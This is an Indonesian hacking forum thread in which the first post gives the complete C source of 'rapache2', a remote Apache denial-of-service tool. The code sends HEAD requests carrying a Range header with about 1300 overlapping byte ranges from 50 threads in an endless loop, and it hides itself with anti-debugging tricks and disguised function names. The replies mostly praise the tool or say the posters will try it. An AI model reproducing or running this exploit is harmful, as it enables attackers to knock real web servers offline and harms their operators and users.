Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-26-2013, 11:18 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Exploit v
« Previous 1 ... 3 4 5 6 7 ... 15 Next »

rapache2 - remote apache dos exploit 2

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
rapache2 - remote apache dos exploit 2
12-16-2011, 07:06 AM (This post was last modified: 12-16-2011 12:54 PM by eidelweiss.)
Post: #1
ev1lut10n Offline
./Devilz Officer
Posts: 239
Joined: Aug 2011
Reputation: 82
rapache2 - remote apache dos exploit 2
/**
rapache2
"this is another version of rapache"
by: ev1lut10n
bug found by : Nikolaus Rango (Kingcope)
http://www.jasaplus.com/ev1lut10n
gopher://sdf.org/1/users/ev1lut10
Thanks: x-hack, danzel,p4, Ramon de C Valle and all my friends
compile: gcc -o rapache2 rapache2.c -pthread -Wall
**/
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#define START_RANGE "HEAD / HTTP/1.1\nHost:localhost\nRange:bytes=0-"
#define USE_KEEP_ALIVE "\nAccept-Encoding: gzip\nKeep-Alive: 115\nConnection: keep-alive\n"

void _do_global_dtors_aux(void) __attribute__ ((constructor));

void _do_global_dtors_aux(void) {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
        write(fileno(stdout), "Segmentation fault\n", 19);
        exit(-1);
    }
}

char *_libc_csu_fini(char total_range[16253])
{
int k=0;
char range[5]="";
char r2[16136]="";
while(k<1300)
{
   char r[5]=",5-";    
   char ads[11]="";
    sprintf(range,"%d",k);
    strcat(ads,r);
         strcat(ads,range);
     strcat(r2,ads);
    k++;
}
    strcat(total_range,START_RANGE);
    strcat(total_range,r2);
    strcat(total_range,USE_KEEP_ALIVE);
return total_range;
}

void banner()
{
        fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1, stdout);
}

void gime_er_mas()
{
    printf("%c%s", 0x1b, "[2J");
    printf("%c%s", 0x1b, "[1;1H");
    printf("\n[-] Usage : ./rapache2 hostname port_number\n");
    printf("\n[-] Usage : ./rapache2 localhost 80\n");

}

struct thread_info {
    pthread_t thread_id;
    int       thread_num;
    char     *variabel1;
    char     *variabel2;
    char     *variabel3;
};



void *_libc_csu_init(void *arg)
{

   struct thread_info *tinfo = (struct thread_info *) arg;
    char hostname[64];
    char p1[4];
    int j;
    
    char rr[16253];
    sprintf(rr,"%s",_libc_csu_fini(rr));
    

    strcpy(hostname, tinfo->variabel1);
    strcpy(p1, tinfo->variabel2);
    
    j = 0;
    while (j != 10) {
    
        struct addrinfo hints;
        struct addrinfo *result, *rp;
        int sfd, s;
        ssize_t nwritten;
        memset(&hints, 0, sizeof(struct addrinfo));
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_flags = 0;
        hints.ai_protocol = 0;
    
        s = getaddrinfo(hostname, p1, &hints, &result);
        if (s != 0) {
            continue;
        }

        for (rp = result; rp != NULL; rp = rp->ai_next) {
            sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
            if (sfd == -1)
                continue;

            if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
                close(sfd);
        }

        if (result != NULL)
            freeaddrinfo(result);

        nwritten = write(sfd,rr, 16255);
    printf("\n%s\n",rr);
        if (nwritten == -1)
            close(sfd);

        usleep(300000);

        j++;
    }


    return 0;
}

int main(int argc, char *argv[])
{

    int i;
    struct thread_info tinfo;
    banner();
   if (argc <= 1) {
     gime_er_mas();
        return 0;
    }
  

    printf("[+] Attacking %s please wait  in minutes ...\n", argv[1]);

    while (1) {
        i = 0;
        while (i != 50) {
            tinfo.thread_num = i;
            tinfo.variabel1 = argv[1];
         tinfo.variabel2 = argv[2];    
            pthread_create(&tinfo.thread_id, NULL, &_libc_csu_init, &tinfo);

            usleep(500000);

            i++;
        }
    }

}
Find all posts by this user
Quote this message in a reply
12-16-2011, 09:09 AM
Post: #2
Super Moderator Offline
Wahyu Adi Prasetyo
****
Global Moderators
Posts: 6,957
Joined: Jan 2010
Reputation: 237
RE: rapache2 - remote apache dos exploit 2
sangar om,pake C ketawa
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 09:56 AM
Post: #3
note Offline
DC Security terganteng
*****
DC Security Grup
Posts: 1,279
Joined: Feb 2010
Reputation: 13
RE: rapache2 - remote apache dos exploit 2
wow serem nie,next time di coba ahhh
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 11:34 AM
Post: #4
MaViA_HaXx0r Offline
DC Ambassadors
***
Posts: 359
Joined: Dec 2009
Reputation: 7
RE: rapache2 - remote apache dos exploit 2
hebat euy... ku cicipi om boleh...?
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 11:41 AM
Post: #5
yanzbatara Offline
./Devilz Commander
Posts: 431
Joined: Feb 2011
Reputation: 4
RE: rapache2 - remote apache dos exploit 2
Malah bingung ane..... nohope
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 12:17 PM
Post: #6
keris Offline
./Devilz Officer
Posts: 62
Joined: Oct 2011
Reputation: 7
RE: rapache2 - remote apache dos exploit 2
coba dulu y om......horehorehore
Find all posts by this user
Quote this message in a reply
12-19-2011, 04:44 PM
Post: #7
kebijaksanaanku Offline
./Devilz Officer
Posts: 57
Joined: Jan 2011
Reputation: 2
RE: rapache2 - remote apache dos exploit 2
ini yang ente kasih berupa file bin ya om,yang katanya anti debuging asik
pengen lihat ajah source aslinya santai
thank's om ane cendolin iia piss
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] WordPress Exploit (easy-comment-uploads/upload-form.php) XPByte 16 1,049 05-19-2013 05:40 PM
Last Post: oe_c0x
Bug [Tutor] Facebook session Exploit Priv8 abuabu_hat10 20 403 05-19-2013 05:36 PM
Last Post: oe_c0x
  Remote Stack Overflow Exploitation Tutorial - Exploiting Minalic Web Server 2 on x86 cr0security 0 83 05-05-2013 08:09 AM
Last Post: cr0security
  MinaliC Webserver 2.0.0 HTTP Post Exploit cr0security 8 140 04-23-2013 09:07 AM
Last Post: darkmessage
  Bypassing ASLR During Remote Stack Overflow Exploitation on Linux - Method 1 cr0security 0 60 04-07-2013 11:26 AM
Last Post: cr0security
  [Tutor] Exploit windows dengan add on dan dns spoof RieqyNS13 17 339 02-10-2013 08:35 PM
Last Post: cangcimen
Thumbs Up [Tutor] POC + Exploit Wordpress ~ Video Blogging Arbitrary File Upload Regel 11 675 02-02-2013 12:19 AM
Last Post: copaker21
  Butuh Local Exploit Kernel Server AnonymousOpsID 2 164 11-24-2012 08:37 PM
Last Post: AnonymousOpsID
  #DiyWeb Admin Bypass dan Remote file/shell Upload exploit AnonymousOpsID 4 337 11-06-2012 05:07 PM
Last Post: rock_me
Rainbow Kumpulan exploit dan 3000++ tool hacking dvildance 3 347 10-31-2012 10:23 PM
Last Post: jibril

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-26-2013, 11:18 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE